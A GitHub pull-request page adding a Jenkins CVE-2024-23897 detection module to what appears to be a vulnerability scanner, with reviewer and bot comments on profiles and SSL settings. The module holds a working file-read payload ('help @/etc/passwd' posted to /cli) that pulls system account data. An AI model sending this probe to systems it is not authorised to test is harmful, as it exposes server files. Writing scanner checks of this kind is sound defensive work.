-
-
Notifications
You must be signed in to change notification settings - Fork 1.1k
CVE 2024 23897 jenkins cli #1517
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
d5d3ef6
ffab357
db7c1d0
569e175
a3e93ba
e260795
ef10f0d
d81b610
9b26696
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,58 @@ | ||
| info: | ||
| name: jenkins_cve_2024_23897_vuln | ||
| author: Prajwal G N (@Prajwal5755) | ||
| severity: 7.5 | ||
| description: Detects Jenkins CVE-2024-23897 arbitrary file read via CLI argument parsing using @file syntax. | ||
| reference: | ||
| - https://www.cisa.gov/news-events/alerts/2024/08/19/cisa-adds-one-known-exploited-vulnerability-catalog | ||
| profiles: | ||
| - vuln | ||
| - jenkins | ||
| - cve | ||
| - cve2024 | ||
| - high_severity | ||
| - cisa_kev | ||
|
|
||
|
Collaborator
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. @Prajwal5755
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Thank you for the guidance @securestep9. I have added the missing profiles and updated this module. I will also update my other modules accordingly. |
||
| payloads: | ||
| - library: http | ||
| steps: | ||
|
|
||
| - method: post | ||
| timeout: 3 | ||
| headers: | ||
| User-Agent: "{user_agent}" | ||
| Content-Type: "text/plain" | ||
| ssl: false | ||
|
|
||
|
Comment on lines
+20
to
+26
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add explicit Line 17–22 defines the HTTP step without an explicit Suggested patch - method: post
timeout: 3
+ ssl: false
headers:
User-Agent: "{user_agent}"
Content-Type: "text/plain"Based on learnings: “Every HTTP step must include 🤖 Prompt for AI Agents |
||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}{{path}}" | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
When a user supplies a target such as Useful? React with 👍 / 👎. |
||
| prefix: "" | ||
| interceptors: [] | ||
| suffix: "" | ||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| path: | ||
| - '/cli' | ||
| ports: | ||
| - 80 | ||
| - 443 | ||
| - 8080 | ||
| - 8443 | ||
|
|
||
|
|
||
| data: | | ||
| help @/etc/passwd | ||
|
Comment on lines
+46
to
+47
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
On a real vulnerable Jenkins instance, Useful? React with 👍 / 👎.
Comment on lines
+46
to
+47
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
When the vulnerable Jenkins controller runs on Windows, Useful? React with 👍 / 👎. |
||
|
|
||
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: "(root:x:0|daemon:x:1)" | ||
| reverse: false | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When users scan with
--profile http, this module is omitted because profile resolution inArgParser.load_profilesrelies exclusively on the entries ininfo.profiles, and this list lackshttp. It is also the only vulnerability module using the HTTP library without that profile tag, so HTTP-profile scans will unexpectedly skip the new Jenkins check.Useful? React with 👍 / 👎.